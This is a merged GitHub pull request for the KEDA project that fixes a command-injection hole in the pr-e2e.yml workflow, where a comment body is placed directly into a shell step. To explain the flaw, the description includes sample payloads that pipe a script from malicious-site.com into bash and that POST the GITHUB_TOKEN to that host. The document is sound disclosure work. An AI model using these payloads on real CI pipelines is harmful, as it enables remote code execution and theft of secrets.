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Security Update pr-e2e.yml #4822

Merged
merged 1 commit into from Jul 26, 2023
Merged

Security Update pr-e2e.yml #4822

merged 1 commit into from Jul 26, 2023

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aashish-19
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@aashish-19 aashish-19 commented Jul 26, 2023

pr-e2e.yml is vulnerable to RCE via command injection in comment body. Currently, the following block simply appends the comment body to the shell command. Since the comment body is under user's control, a malicious entity could create a comment such that it escapes the command meant to be executed and instead execute arbitrary commands, which could lead to a variety of security issues such as deletion of files and issues, exfiltration of environment variables to leak secrets, supply chain attack etc:

  • name: Run end to end tests
  • continue-on-error: true
  • id: test
  • env:
  • AWS_RUN_IDENTITY_TESTS: true
  • AZURE_RUN_AAD_POD_IDENTITY_TESTS: true
  • AZURE_RUN_WORKLOAD_IDENTITY_TESTS: true
  • GCP_RUN_IDENTITY_TESTS: true
  • E2E_IMAGE_TAG: ${{ needs.triage.outputs.image_tag }}
  • TEST_CLUSTER_NAME: keda-e2e-cluster-pr
  • run: |
  • MESSAGE="${{ github.event.comment.body }}"

A simple example of a malicious payload in the comment body can be:
Security"; curl https://malicious-site.com/malicious-script.sh | bash #
This would simply close the double quotes and it would curl a malicious script and pipe it to bash for execution. It will comment out rest of the command.

Similarly, to exfiltrate environment variables, a sample payload in the comment body can be:
Security"; $GITHUB_TOKEN > /tmp/env.txt && curl -X POST -d @/tmp/env.txt https://malicious-site.com/
This would first save the contents of the GITHUB_TOKEN environment variable in a file in the /tmp directory and then using curl send the contents of the file in a POST request to the attacker controlled web server.

Fixes GHSA-w92x-gx4w-j5f2
RCE via command injection in pr-e2e.yml

References
For more information about this vulnerability, please refer to the following resources:
Exploiting GitHub Actions on Open Source Projects
Vulnerabilities in CI/CD Pipelines of Popular Open-Source Projects
Vulnerable GitHub Actions Workflows

pr-e2e.yml  is vulnerable to RCE via command injection in comment body.
Currently, the following block simply appends the comment body to the shell command. Since the comment body is under user's control, a malicious entity could create a comment such that it escapes the command meant to be executed and instead execute arbitrary commands, which could lead to a variety of security issues such as deletion of files and issues, exfiltration of environment variables to leak secrets, supply chain attack etc:
- name: Run end to end tests
        continue-on-error: true
        id: test
        env:
          AWS_RUN_IDENTITY_TESTS: true
          AZURE_RUN_AAD_POD_IDENTITY_TESTS: true
          AZURE_RUN_WORKLOAD_IDENTITY_TESTS: true
          GCP_RUN_IDENTITY_TESTS: true
          E2E_IMAGE_TAG: ${{ needs.triage.outputs.image_tag }}
          TEST_CLUSTER_NAME: keda-e2e-cluster-pr
        run: |
          MESSAGE="${{ github.event.comment.body }}"
          
A simple example of a malicious payload in the comment body can be:
Security"; curl https://malicious-site.com/malicious-script.sh | bash #
This would simply close the double quotes and it would curl a malicious script and pipe it to bash for execution. It will comment out rest of the command.

Similarly, to exfiltrate environment variables, a sample payload in the comment body can be:
Security"; $GITHUB_TOKEN > /tmp/env.txt && curl -X POST -d @/tmp/env.txt https://malicious-site.com/
This would first save the contents of the GITHUB_TOKEN environment variable in a file in the /tmp directory and then using curl send the contents of the file in a POST request to the attacker controlled web server.

Signed-off-by: Aashish Malhotra <74505547+aashish-19@users.noreply.github.com>
@aashish-19 aashish-19 requested a review from a team as a code owner July 26, 2023 02:46
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Thank you for your contribution! 🙏 We will review your PR as soon as possible.

🏖️ Over the summer, the response time will be longer than usual due to maintainers taking time off so please bear with us.

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❤️ ❤️ ❤️ ❤️

This has been in my TODO list for a while :(
Luckily that code can't be executed by arbitrary users because previous steps require that the user is part of an specific org team, but fixing the issue is always better than restricting the attack vector

@JorTurFer JorTurFer enabled auto-merge (squash) July 26, 2023 07:30
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/skip-e2e

@JorTurFer JorTurFer merged commit 89fb01a into kedacore:main Jul 26, 2023
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yoongon pushed a commit to yoongon/keda that referenced this pull request Aug 26, 2023
Signed-off-by: Yoon Park <yoongon.park@gmail.com>
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3 participants